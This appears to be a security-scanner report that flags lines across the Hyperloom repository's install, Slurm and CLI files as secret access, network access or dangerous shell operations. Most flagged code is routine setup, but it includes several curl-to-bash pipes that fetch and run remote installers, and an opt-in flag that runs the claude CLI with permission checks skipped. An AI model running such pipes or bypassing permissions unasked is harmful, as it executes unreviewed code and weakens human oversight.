[Credential-related source omitted] - Access to secretsline 2436
[Credential-related source omitted] - Access to secretsline 2437
[Credential-related source omitted] - Access to secretsline 2438
[Credential-related source omitted] - Access to secretsline 2441
[Credential-related source omitted] - Access to secretsline 2451
[Credential-related source omitted] - Access to secretsline 2454
[Credential-related source omitted] - Access to secretsline 2463
[Credential-related source omitted] - Access to secretsline 2464
[Credential-related source omitted] - Access to secretsline 2465
[Credential-related source omitted] - Access to secretsline 2466
[Credential-related source omitted] - Access to secretsline 2474
[Credential-related source omitted] - Access to secretsline 2476
[Credential-related source omitted] - Access to secretsline 2479
[Credential-related source omitted] - Access to secretsline 2489
[Credential-related source omitted] - Access to secretsline 2492
[Credential-related source omitted] - Access to secretsline 2498
[Credential-related source omitted] - Access to secretsline 2504
[Credential-related source omitted] - Access to secretsline 2511
[Credential-related source omitted] - Network accessline 2515
[Credential-related source omitted] - Access to secretsline 2515
[Credential-related source omitted] - Network accessline 2516
_x_aend="https://api.anthropic.com" - Access to secretsline 2518
[Credential-related source omitted] - Access to secretsline 2519
[Credential-related source omitted] - Network accessline 2520
[Credential-related source omitted] - Access to secretsline 2520
[Credential-related source omitted] - Network accessline 2521
[Credential-related source omitted] - Access to secretsline 2521
[Credential-related source omitted] - Network accessline 2522
elif [ -n "${OPENAI_BASE_URL:-}" ] && [ -n "$_x_akey" ] && [ -z "$_x_aend" ]; then - Access to secretsline 2525
[Credential-related source omitted] - Access to secretsline 2526
[Credential-related source omitted] - Access to secretsline 2527
[Credential-related source omitted] - Access to secretsline 2529
[Credential-related source omitted] - Access to secretsline 2531
[Credential-related source omitted] - Access to secretsline 2533
[Credential-related source omitted] - Access to secretsline 2537
[Credential-related source omitted] - Access to secretsline 2538
[Credential-related source omitted] - Access to secretsline 2542
[Credential-related source omitted] - Access to secretsline 2545
[Credential-related source omitted] - Access to secretsline 2547
[Credential-related source omitted] - Access to secretsline 2551
[Credential-related source omitted] - Access to secretsline 2555
[Credential-related source omitted] - Access to secretsline 2557
[Credential-related source omitted] - Access to secretsline 2558
[Credential-related source omitted] - Access to secretsline 2561
[Credential-related source omitted] - Access to secretsline 2564
[Credential-related source omitted] - Access to secretsline 2566
[Credential-related source omitted] - Access to secretsline 2567
[Credential-related source omitted] - Access to secretsline 2568
[Credential-related source omitted] - Access to secretsline 2570
[Credential-related source omitted] - Access to secretsline 2578
[Credential-related source omitted] - Access to secretsline 2579
[Credential-related source omitted] - Access to secretsline 2585
[Credential-related source omitted] - Access to secretsline 2592
[Credential-related source omitted] - Access to secretsline 2599
[Credential-related source omitted] - Access to secretsline 2604
[Credential-related source omitted] - Access to secretsline 2606
[Credential-related source omitted] - Access to secretsline 2607
[Credential-related source omitted] - Access to secretsline 2630
[Credential-related source omitted] - Access to secretsline 2643
[Credential-related source omitted] - Access to secretsline 2672
[Credential-related source omitted] - Access to secretsline 2724
[Credential-related source omitted] - Access to secretsline 2750
[Credential-related source omitted]
src/hyperloom/inference_optimizer/assets/install_kernel_tools.sh
- Executable scriptline 1
Executable file - Access to secretsline 26
[Credential-related source omitted] - Network accessline 94
TRACELENS_REPO="https://github.com/AMD-AGI/TraceLens.git" - Network accessline 128
printf '%s' "${h:-/}" } _TRACELENS_SHA="$(_resolve_ref_sha "$TRACELENS_REPO" "$TRACELENS_REF")" - Network accessline 129
} _TRACELENS_SHA="$(_resolve_ref_sha "$TRACELENS_REPO" "$TRACELENS_REF")" _tracelens_root_was_set="" - Network accessline 130
_TRACELENS_SHA="$(_resolve_ref_sha "$TRACELENS_REPO" "$TRACELENS_REF")" - Access to secretsline 149
[Credential-related source omitted] - Access to secretsline 159
[Credential-related source omitted] - Network accessline 168
GEAK_REPO="${GEAK_REPO:-https://github.com/AMD-AGI/GEAK.git}" - Network accessline 191
if [ -z "${GEAK_ROOT:-}" ]; then _GEAK_SHA="$(_resolve_ref_sha "$GEAK_REPO" "$GEAK_REF")" - Network accessline 192
_GEAK_SHA="$(_resolve_ref_sha "$GEAK_REPO" "$GEAK_REF")" - Access to secretsline 214
[Credential-related source omitted] - Access to secretsline 218
[Credential-related source omitted] - Access to secretsline 221
[Credential-related source omitted] - Access to secretsline 233
[Credential-related source omitted] - Access to secretsline 241
[Credential-related source omitted] - Access to secretsline 245
[Credential-related source omitted] - Access to secretsline 246
[Credential-related source omitted] - Access to secretsline 252
[Credential-related source omitted] - Access to secretsline 261
[Credential-related source omitted] - Access to secretsline 262
[Credential-related source omitted] - Access to secretsline 263
[Credential-related source omitted] - Access to secretsline 266
[Credential-related source omitted] - Access to secretsline 270
[Credential-related source omitted] - Access to secretsline 286
[Credential-related source omitted] - Access to secretsline 432
[Credential-related source omitted] - Access to secretsline 495
[Credential-related source omitted] - Access to secretsline 496
[Credential-related source omitted] - Access to secretsline 506
[Credential-related source omitted] - Access to secretsline 507
[Credential-related source omitted] - Access to secretsline 531
[Credential-related source omitted] - Access to secretsline 532
[Credential-related source omitted] - Network accessline 634
python3 - <<'PY' 2>/dev/null || echo 0 import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - Network accessline 635
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: - Network accessline 636
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - Dangerous shell operationline 663
rm -f "$err_file" - Network accessline 843
elif [ "$DRY_RUN" -eq 1 ]; then [ -e "$TRACELENS_ROOT" ] && log "would: rm -rf ${TRACELENS_ROOT} (incomplete, not a git repo)" log "would: git clone --depth 1 ${TRACELENS_REPO} ${TRACELENS_ROOT}" - Dangerous shell operationline 844
[ -e "$TRACELENS_ROOT" ] && log "would: rm -rf ${TRACELENS_ROOT} (incomplete, not a git repo)" - Network accessline 844
[ -e "$TRACELENS_ROOT" ] && log "would: rm -rf ${TRACELENS_ROOT} (incomplete, not a git repo)" log "would: git clone --depth 1 ${TRACELENS_REPO} ${TRACELENS_ROOT}" else - Network accessline 845
log "would: git clone --depth 1 ${TRACELENS_REPO} ${TRACELENS_ROOT}" - Dangerous shell operationline 854
rm -rf "$TRACELENS_ROOT" - Network accessline 864
_tl_tmp="$(dirname "$TRACELENS_ROOT")/.$(basename "$TRACELENS_ROOT").clone.$$" rm -rf "$_tl_tmp" if ! git clone --depth 1 "$TRACELENS_REPO" "$_tl_tmp" \ - Dangerous shell operationline 865
rm -rf "$_tl_tmp" - Network accessline 865
rm -rf "$_tl_tmp" if ! git clone --depth 1 "$TRACELENS_REPO" "$_tl_tmp" \ || ! git -C "$_tl_tmp" fetch --depth 1 origin "$TRACELENS_REF" \ - Network accessline 866
if ! git clone --depth 1 "$TRACELENS_REPO" "$_tl_tmp" || ! git -C "$_tl_tmp" fetch --depth 1 origin "$TRACELENS_REF" - Dangerous shell operationline 869
rm -rf "$_tl_tmp" - Dangerous shell operationline 928
rm -f "$TRACELENS_INTERNAL_ROOT/.hl_write_test" - Access to secretsline 952
[Credential-related source omitted] - Access to secretsline 954
[Credential-related source omitted] - Access to secretsline 998
[Credential-related source omitted] - Access to secretsline 1007
[Credential-related source omitted] - Access to secretsline 1035
[Credential-related source omitted] - Access to secretsline 1053
[Credential-related source omitted] - Access to secretsline 1064
[Credential-related source omitted] - Access to secretsline 1070
[Credential-related source omitted] - Access to secretsline 1078
[Credential-related source omitted] - Access to secretsline 1080
[Credential-related source omitted] - Access to secretsline 1086
[Credential-related source omitted] - Access to secretsline 1087
[Credential-related source omitted] - Access to secretsline 1090
[Credential-related source omitted] - Access to secretsline 1094
[Credential-related source omitted] - Access to secretsline 1096
[Credential-related source omitted] - Access to secretsline 1098
[Credential-related source omitted] - Access to secretsline 1099
[Credential-related source omitted] - Access to secretsline 1118
[Credential-related source omitted] - Access to secretsline 1123
[Credential-related source omitted] - Network accessline 1147
if [[ "$GEAK_REF" =~ ^[0-9a-fA-F]{7,40}$ ]]; then run git init -q "${GEAK_ROOT}" run git -C "${GEAK_ROOT}" remote add origin "$GEAK_REPO" - Network accessline 1148
run git init -q "${GEAK_ROOT}" run git -C "${GEAK_ROOT}" remote add origin "$GEAK_REPO" run git -C "${GEAK_ROOT}" fetch --depth 1 origin "$GEAK_REF" - Network accessline 1149
run git -C "${GEAK_ROOT}" remote add origin "$GEAK_REPO" run git -C "${GEAK_ROOT}" fetch --depth 1 origin "$GEAK_REF" run git -C "${GEAK_ROOT}" checkout -q FETCH_HEAD - Network accessline 1151
run git -C "${GEAK_ROOT}" checkout -q FETCH_HEAD else run git clone --depth 1 --branch "$GEAK_REF" "$GEAK_REPO" "${GEAK_ROOT}" - Network accessline 1152
else run git clone --depth 1 --branch "$GEAK_REF" "$GEAK_REPO" "${GEAK_ROOT}" fi - Network accessline 1153
run git clone --depth 1 --branch "$GEAK_REF" "$GEAK_REPO" "${GEAK_ROOT}" - Network accessline 1213
if [ -n "${HYPERLOOM_CLAUDE_CODE_VERSION:-}" ] || ! command -v claude >/dev/null 2>&1; then [ -n "$_claude_home" ] || die "no home directory for uid $(id -u); the claude CLI installs under ~/.local/bin" command -v curl >/dev/null 2> - Network accessline 1214
[ -n "$_claude_home" ] || die "no home directory for uid $(id -u); the claude CLI installs under ~/.local/bin" command -v curl >/dev/null 2>&1 || die "curl missing; the claude CLI cannot be installed" local _claude_target="${HYPERLO - Network accessline 1215
command -v curl >/dev/null 2>&1 || die "curl missing; the claude CLI cannot be installed" - Network accessline 1216
local _claude_target="${HYPERLOOM_CLAUDE_CODE_VERSION:-latest}" log "installing the claude CLI (${_claude_target}) into ${_claude_bin_dir}" curl -fsSL --connect-timeout 20 https://claude.ai/install.sh | HOME="$_claude_home" bash -s - Network accessline 1217
log "installing the claude CLI (${_claude_target}) into ${_claude_bin_dir}" curl -fsSL --connect-timeout 20 https://claude.ai/install.sh | HOME="$_claude_home" bash -s -- "$_claude_target" \ || die "the claude CLI installer failed - Network accessline 1218
curl -fsSL --connect-timeout 20 https://claude.ai/install.sh | HOME="$_claude_home" bash -s -- "$_claude_target" \ - Access to secretsline 1244
[Credential-related source omitted] - Access to secretsline 1254
[Credential-related source omitted] - Network accessline 1314
return 0 fi command -v curl >/dev/null 2>&1 || { _geak_node_unavailable "curl missing; Node for GEAK cannot be fetched"; return 0; } - Network accessline 1315
fi command -v curl >/dev/null 2>&1 || { _geak_node_unavailable "curl missing; Node for GEAK cannot be fetched"; return 0; } local _base="https://nodejs.org/dist/v${HYPERLOOM_GEAK_NODE_VERSION}" _tmp - Network accessline 1316
command -v curl >/dev/null 2>&1 || { _geak_node_unavailable "curl missing; Node for GEAK cannot be fetched"; return 0; } - Network accessline 1317
local _base="https://nodejs.org/dist/v${HYPERLOOM_GEAK_NODE_VERSION}" _tmp - Network accessline 1319
_tmp="$(mktemp -d "${_open_source_root}/.${_name}.XXXXXX")" log "fetching ${_name} for GEAK into ${_dir}" if ! curl -fsSL --connect-timeout 20 -o "${_tmp}/${_name}.tar.xz" "${_base}/${_name}.tar.xz" \ - Network accessline 1320
log "fetching ${_name} for GEAK into ${_dir}" if ! curl -fsSL --connect-timeout 20 -o "${_tmp}/${_name}.tar.xz" "${_base}/${_name}.tar.xz" \ || ! curl -fsSL --connect-timeout 20 -o "${_tmp}/SHASUMS256.txt" "${_base}/SHASUMS256.txt"; - Network accessline 1321
if ! curl -fsSL --connect-timeout 20 -o "${_tmp}/${_name}.tar.xz" "${_base}/${_name}.tar.xz" \ - Network accessline 1322
|| ! curl -fsSL --connect-timeout 20 -o "${_tmp}/SHASUMS256.txt" "${_base}/SHASUMS256.txt"; then - Dangerous shell operationline 1323
rm -rf -- "$_tmp" - Dangerous shell operationline 1328
rm -rf -- "$_tmp" - Dangerous shell operationline 1332
rm -rf -- "$_tmp" - Dangerous shell operationline 1336
rm -rf -- "$_tmp"
src/hyperloom/inference_optimizer/assets/local_setup.sh
- Executable scriptline 1
#!/usr/bin/env bash
src/hyperloom/inference_optimizer/assets/preflight_kb.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 62
local last_failure="" while [ "${i}" -lt "${attempts}" ]; do body="$(curl --silent --max-time "${timeout}" -w '\n__HTTP_CODE__:%{http_code}' "${url}" 2>/dev/null || true)" - Network accessline 63
while [ "${i}" -lt "${attempts}" ]; do body="$(curl --silent --max-time "${timeout}" -w '\n__HTTP_CODE__:%{http_code}' "${url}" 2>/dev/null || true)" code="$(printf '%s' "${body}" | sed -n 's/^__HTTP_CODE__://p' | tail -n1)" - Network accessline 64
body="$(curl --silent --max-time "${timeout}" -w '\n__HTTP_CODE__:%{http_code}' "${url}" 2>/dev/null || true)"
src/hyperloom/inference_optimizer/assets/quick-start/Dockerfile
- Executable scriptline 1
Executable file - Dangerous shell operationline 6
RUN curl -fsSL https://raw.githubusercontent.com/AMD-AGI/Primus-SaFE/main/Scripts/setup-certs/setup.sh | bash - Network accessline 6
RUN curl -fsSL https://raw.githubusercontent.com/AMD-AGI/Primus-SaFE/main/Scripts/setup-certs/setup.sh | bash - Access to secretsline 24
[Credential-related source omitted]
src/hyperloom/inference_optimizer/assets/quick-start/check_env.sh
src/hyperloom/inference_optimizer/assets/quick-start/setup_env.sh
- Executable scriptline 1
#!/bin/bash - Access to secretsline 3
[Credential-related source omitted] - Access to secretsline 13
[Credential-related source omitted] - Access to secretsline 15
[Credential-related source omitted] - Access to secretsline 19
[Credential-related source omitted] - Access to secretsline 20
[Credential-related source omitted]
src/hyperloom/inference_optimizer/assets/ray_cli_smoke.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/assets/runtime_env.sh
- Executable scriptline 1
#!/usr/bin/env bash - Access to secretsline 7
[Credential-related source omitted] - Access to secretsline 9
[Credential-related source omitted] - Access to secretsline 25
[Credential-related source omitted] - Access to secretsline 56
[Credential-related source omitted] - Access to secretsline 58
[Credential-related source omitted] - Access to secretsline 59
[Credential-related source omitted] - Access to secretsline 65
[Credential-related source omitted] - Access to secretsline 82
[Credential-related source omitted] - Access to secretsline 108
[Credential-related source omitted] - Access to secretsline 125
[Credential-related source omitted] - Access to secretsline 134
[Credential-related source omitted] - Access to secretsline 141
[Credential-related source omitted]
src/hyperloom/inference_optimizer/assets/setup_env.sh.example
- Executable scriptline 1
#!/usr/bin/env bash
src/hyperloom/inference_optimizer/assets/slurm/_incontainer.sh.in
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 23
[Credential-related source omitted] - Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 24
[Credential-related source omitted] - Dangerous shell operationline 36
rm -rf "$HYPERLOOM_SOURCE_DIR" - Network accessline 41
echo "[hl] cloning Hyperloom into $HYPERLOOM_SOURCE_DIR" git clone --depth 1 --branch "${HYPERLOOM_SOURCE_REF:-main}" \ "${HYPERLOOM_SOURCE_REPO:-https://github.com/AMD-AGI/Hyperloom.git}" "$HYPERLOOM_SOURCE_DIR" - Network accessline 42
git clone --depth 1 --branch "${HYPERLOOM_SOURCE_REF:-main}" "${HYPERLOOM_SOURCE_REPO:-https://github.com/AMD-AGI/Hyperloom.git}" "$HYPERLOOM_SOURCE_DIR" - Network accessline 43
"${HYPERLOOM_SOURCE_REPO:-https://github.com/AMD-AGI/Hyperloom.git}" "$HYPERLOOM_SOURCE_DIR" - Instruction override signalline 131
claude_args=(-p "$PROMPT") if [ "${HL_ALLOW_DANGEROUS_AGENT_PERMISSIONS:-0}" = "1" ]; then echo "[hl] WARNING: enabling claude --dangerously-skip-permissions by explicit opt-in" >&2 - Instruction override signalline 132
if [ "${HL_ALLOW_DANGEROUS_AGENT_PERMISSIONS:-0}" = "1" ]; then echo "[hl] WARNING: enabling claude --dangerously-skip-permissions by explicit opt-in" >&2 claude_args=(--dangerously-skip-permissions "${claude_args[@]}") - Instruction override signalline 133
echo "[hl] WARNING: enabling claude --dangerously-skip-permissions by explicit opt-in" >&2 - Instruction override signalline 134
claude_args=(--dangerously-skip-permissions "${claude_args[@]}") - Access to secretsline 168
[Credential-related source omitted]
src/hyperloom/inference_optimizer/assets/slurm/proxy.env.template
- Access to secretsline 5
[Credential-related source omitted] - Access to secretsline 18
[Credential-related source omitted] - Access to secretsline 20
[Credential-related source omitted] - Network accessline 41
# (4) LLM model overrides. Match these to models actually served by your key # (list them with: curl $OPENAI_BASE_URL/models). Do NOT use *-thinking-xhigh - Network accessline 42
# (list them with: curl $OPENAI_BASE_URL/models). Do NOT use *-thinking-xhigh - Network accessline 49
# GEAK_BASE_URL, which may be a different (and older) endpoint, and an # unavailable id there fails at run time rather than in preflight. Confirm # it with `curl $GEAK_BASE_URL/models`, or pin an older id below. - Network accessline 50
# unavailable id there fails at run time rather than in preflight. Confirm # it with `curl $GEAK_BASE_URL/models`, or pin an older id below. CURSOR_DEFAULT_MODEL=claude-opus-5 - Network accessline 51
# it with `curl $GEAK_BASE_URL/models`, or pin an older id below.
src/hyperloom/inference_optimizer/assets/slurm/run_hyperloom.sbatch
- Executable scriptline 1
#!/usr/bin/env bash - Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 24
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 74
[Credential-related source omitted] - Dangerous shell operationline 110
if ! sudo -n kill -9 "$p" 2>/dev/null; then - Dangerous shell operationline 180
docker rm -f "$c" >/dev/null 2>&1 || true - Access to secretsline 250
[Credential-related source omitted] - Access to secretsline 251
[Credential-related source omitted] - Access to secretsline 252
[Credential-related source omitted]
src/hyperloom/inference_optimizer/assets/slurm/submit-vultr.sh
- Executable scriptline 1
#!/usr/bin/env bash
src/hyperloom/inference_optimizer/assets/slurm/submit.sh
- Executable scriptline 1
#!/usr/bin/env bash
src/hyperloom/inference_optimizer/baseline_comparison/__init__.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/baseline_comparison/inferencex_client.py
- Executable scriptline 1
Executable file - Network accessline 28
DEFAULT_BASE_URL = "https://inferencex.semianalysis.com/api/v1" - Access to secretsline 40
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 56
[Credential-related source omitted] - Network accessline 67
require_http_url(url, error=InferenceXFetchError) req = urllib.request.Request( - Network accessline 68
req = urllib.request.Request( - Network accessline 74
) try: with urllib.request.urlopen(req, timeout=_timeout_sec()) as resp: # nosec B310 - URL scheme checked above. - Network accessline 75
try: with urllib.request.urlopen(req, timeout=_timeout_sec()) as resp: # nosec B310 - URL scheme checked above. status = resp.getcode() - Network accessline 76
with urllib.request.urlopen(req, timeout=_timeout_sec()) as resp: # nosec B310 - URL scheme checked above.
src/hyperloom/inference_optimizer/baseline_comparison/research_hints.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/baseline_comparison/target_analyzer.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/baseline_comparison/types.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/__init__.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/collectors/__init__.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/collectors/_common.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/collectors/langfuse.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/collectors/sessions.py
src/hyperloom/inference_optimizer/breakdown/collectors/v6.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/collectors/v6_close.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/collectors/v6_critic.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/contracts/session_breakdown.v6.workflow-evaluation.v3.schema.json
src/hyperloom/inference_optimizer/breakdown/critic_reviews.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/exporter.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/recorder/__init__.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/recorder/assembler.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/recorder/baseline_event.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/recorder/close_out.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/recorder/conc_sweep_event.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/recorder/construct.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/recorder/critic_out.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/recorder/enablement_event.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/recorder/enablement_keep_pairing.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/recorder/event_fields.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/recorder/event_finalize.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/recorder/event_ids.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/recorder/event_rows.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/recorder/event_sink.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/recorder/event_timeline.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/recorder/framework_event.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/recorder/instrument.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/recorder/kernel_event.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/recorder/kernel_gain.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/recorder/kernel_records.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/recorder/outcome_stage.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/recorder/phase_event.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/recorder/phase_records.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/recorder/recorder.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/recorder/recorder_warnings.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/recorder/roofline_event.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/recorder/sections.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/recorder/session_metadata.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/recorder/stack_event.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/recorder/tool_versions.py
src/hyperloom/inference_optimizer/breakdown/recorder/trace.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/recorder/warm_replay_event.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/recorder/warm_start_event.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/reporters/__init__.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/reporters/_renderers/__init__.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/reporters/_renderers/_agentx_metrics.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/reporters/_renderers/_framework.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/reporters/_renderers/_invocation.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/reporters/_renderers/_kernels.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/reporters/_renderers/attribution.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/reporters/_renderers/baseline.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/reporters/_renderers/capability_summary.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/reporters/_renderers/critic.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/reporters/_renderers/enablement.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/reporters/_renderers/final.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/reporters/_renderers/kernel_lifecycle.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/reporters/_renderers/optimizations.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/reporters/_renderers/param_search.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/reporters/_renderers/phase_timeline.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/reporters/_renderers/roofline.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/reporters/_renderers/session.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/reporters/_renderers/workload.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/reporters/base.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/reporters/compose.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/reporters/cross_section.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/reporters/llm_client.py
src/hyperloom/inference_optimizer/breakdown/reporters/llm_prompt.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/round_archive.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/schema.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/schema_framework.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/schema_kernel.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/session_facts.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/session_package.py
src/hyperloom/inference_optimizer/breakdown/stop_reasons.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/variant_funnel.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/breakdown/workflow_contract.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/canonical_fingerprint.py
- Executable scriptline 1
Executable file - Access to secretsline 116
[Credential-related source omitted] - Access to secretsline 117
[Credential-related source omitted] - Access to secretsline 118
[Credential-related source omitted] - Access to secretsline 119
[Credential-related source omitted] - Access to secretsline 120
[Credential-related source omitted]
src/hyperloom/inference_optimizer/cli/__init__.py
- Executable scriptline 1
Executable file - Access to secretsline 180
[Credential-related source omitted] - Access to secretsline 198
[Credential-related source omitted] - Access to secretsline 205
[Credential-related source omitted] - Access to secretsline 211
[Credential-related source omitted] - Access to secretsline 213
[Credential-related source omitted] - Access to secretsline 233
[Credential-related source omitted] - Access to secretsline 237
[Credential-related source omitted] - Access to secretsline 240
[Credential-related source omitted] - Access to secretsline 241
[Credential-related source omitted] - Access to secretsline 244
[Credential-related source omitted] - Access to secretsline 247
[Credential-related source omitted] - Access to secretsline 251
[Credential-related source omitted] - Access to secretsline 285
[Credential-related source omitted] - Access to secretsline 306
[Credential-related source omitted] - Access to secretsline 307
[Credential-related source omitted] - Access to secretsline 308
[Credential-related source omitted] - Access to secretsline 309
[Credential-related source omitted] - Access to secretsline 328
[Credential-related source omitted] - Access to secretsline 618
[Credential-related source omitted] - Access to secretsline 666
[Credential-related source omitted] - Access to secretsline 675
[Credential-related source omitted] - Access to secretsline 677
[Credential-related source omitted] - Access to secretsline 820
[Credential-related source omitted] - Access to secretsline 854
[Credential-related source omitted] - Access to secretsline 928
[Credential-related source omitted] - Access to secretsline 950
[Credential-related source omitted] - Access to secretsline 1003
[Credential-related source omitted] - Access to secretsline 1013
[Credential-related source omitted] - Access to secretsline 1017
[Credential-related source omitted] - Access to secretsline 1023
[Credential-related source omitted] - Access to secretsline 1024
[Credential-related source omitted] - Access to secretsline 1051
[Credential-related source omitted] - Access to secretsline 1076
[Credential-related source omitted] - Access to secretsline 1082
[Credential-related source omitted] - Access to secretsline 1085
[Credential-related source omitted] - Access to secretsline 1088
[Credential-related source omitted] - Access to secretsline 1104
[Credential-related source omitted] - Access to secretsline 1132
[Credential-related source omitted] - Access to secretsline 1280
[Credential-related source omitted] - Access to secretsline 1281
[Credential-related source omitted] - Access to secretsline 1285
[Credential-related source omitted] - Access to secretsline 1286
[Credential-related source omitted] - Access to secretsline 1321
[Credential-related source omitted] - Access to secretsline 1353
[Credential-related source omitted] - Access to secretsline 1364
[Credential-related source omitted] - Access to secretsline 1372
[Credential-related source omitted] - Access to secretsline 1376
[Credential-related source omitted] - Access to secretsline 1389
[Credential-related source omitted] - Access to secretsline 1390
[Credential-related source omitted] - Access to secretsline 1391
[Credential-related source omitted] - Access to secretsline 1395
[Credential-related source omitted] - Access to secretsline 1396
[Credential-related source omitted] - Access to secretsline 1399
[Credential-related source omitted] - Access to secretsline 1451
[Credential-related source omitted] - Access to secretsline 1472
[Credential-related source omitted] - Access to secretsline 1481
[Credential-related source omitted] - Access to secretsline 1625
[Credential-related source omitted] - Access to secretsline 1699
[Credential-related source omitted] - Access to secretsline 1708
[Credential-related source omitted] - Access to secretsline 1831
[Credential-related source omitted] - Access to secretsline 1833
[Credential-related source omitted]
src/hyperloom/inference_optimizer/cli/backends.py
src/hyperloom/inference_optimizer/cli/benchmark_config.py
- Executable scriptline 1
Executable file - Access to secretsline 39
[Credential-related source omitted] - Access to secretsline 56
[Credential-related source omitted] - Access to secretsline 100
[Credential-related source omitted] - Access to secretsline 195
[Credential-related source omitted] - Access to secretsline 201
[Credential-related source omitted] - Access to secretsline 208
[Credential-related source omitted]
src/hyperloom/inference_optimizer/cli/bootstrap.py
- Executable scriptline 1
Executable file - Access to secretsline 86
[Credential-related source omitted] - Access to secretsline 87
